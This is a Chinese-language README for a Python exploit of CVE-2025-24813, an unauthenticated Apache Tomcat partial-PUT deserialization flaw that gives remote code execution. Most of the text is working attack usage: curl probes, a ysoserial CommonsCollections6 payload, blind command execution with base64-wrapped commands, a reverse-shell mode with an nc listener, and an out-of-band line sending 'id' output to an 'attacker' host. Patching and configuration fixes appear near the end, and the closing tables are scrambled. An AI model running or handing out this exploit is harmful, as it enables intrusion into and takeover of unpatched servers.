Python PoC 利用 CVE-2025-24813,一个 Apache Tomcat 部分 PUT 反序列化 RCE。自动检测易受攻击的变体,支持盲命令执行和反向 shell。
严重性: 严重 (CVSS 9.8) 需要认证: 无 受影响版本: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 修复版本: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat 支持 部分 PUT(通过 Content-Range 进行分块上传)。
当部分 PUT 请求到达时,Tomcat 会将请求体暂存到临时文件中,路径为:
$CATALINA_HOME/work/…/<url-path-filename>
如果应用程序在 context.xml 中配置了 PersistentManager + FileStore,
Tomcat 会自动从同一工作目录读取 *.session 文件并反序列化它们以恢复会话。
结合这两种行为:
PUT /<sid>.session → 将 Java 序列化 payload 写入 work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat 加载并反序列化该文件 → RCE
Cookie 值中的前导点(.)会触发绝对路径会话查找
(变体 B),这是能够可靠访问暂存文件的路径。
此 PoC 使用来自 ysoserial 的 CommonsCollections6,
它适用于 Java 8–17,无需 @jdk.internal 标志,且不依赖于
sun.reflect.SerializationConstructorAccessorImpl。
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| 状态 | 含义 |
|---|---|
| PUT 201 | 文件已暂存到 Tomcat 工作目录 |
| PUT 409 | 路径被阻止(目录遍历被拒绝) |
| GET 200 | 会话未找到 / 未反序列化 |
| GET 500 | 反序列化已触发 → RCE |
上传的是原始二进制 Java 序列化流 — 无 URL 编码。 与 HTTP 查询参数利用不同,payload 通过 PUT 放在请求体中, 因此没有 URL 编码层需要对抗:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
Content-Range 头表示部分上传;Tomcat 将请求体原样写入磁盘,
保留序列化 payload 的每一个字节。
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
脚本会自动检测变体 A/B,在首次命中后停止,并打印 成功的路径,以便你确切知道哪种方式有效。
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 是盲的 — Runtime.exec() 会执行命令,但其 stdout/stderr
被丢弃;HTTP 响应仅反映反序列化是否成功(500)
或未成功(200)。
三种获取输出的方法:
| 方法 | 如何操作 |
|---|---|
| Webroot 文件 | 将输出重定向到 /…/webapps/ROOT/ 中的文件,通过 HTTP 获取 |
| 反向 shell |
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
在 $CATALINA_HOME/conf/web.xml 中,找到 DefaultServlet 的 init-param 并设置:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
或者,如果不需要 PersistentManager,在 context.xml 中禁用它:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
仅供授权安全测试和教育目的使用。
--revshell 标志 — 获取交互式 shell,实时运行任意命令 |
| DNS/OOB | `curl http://attacker/$(id |
| 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |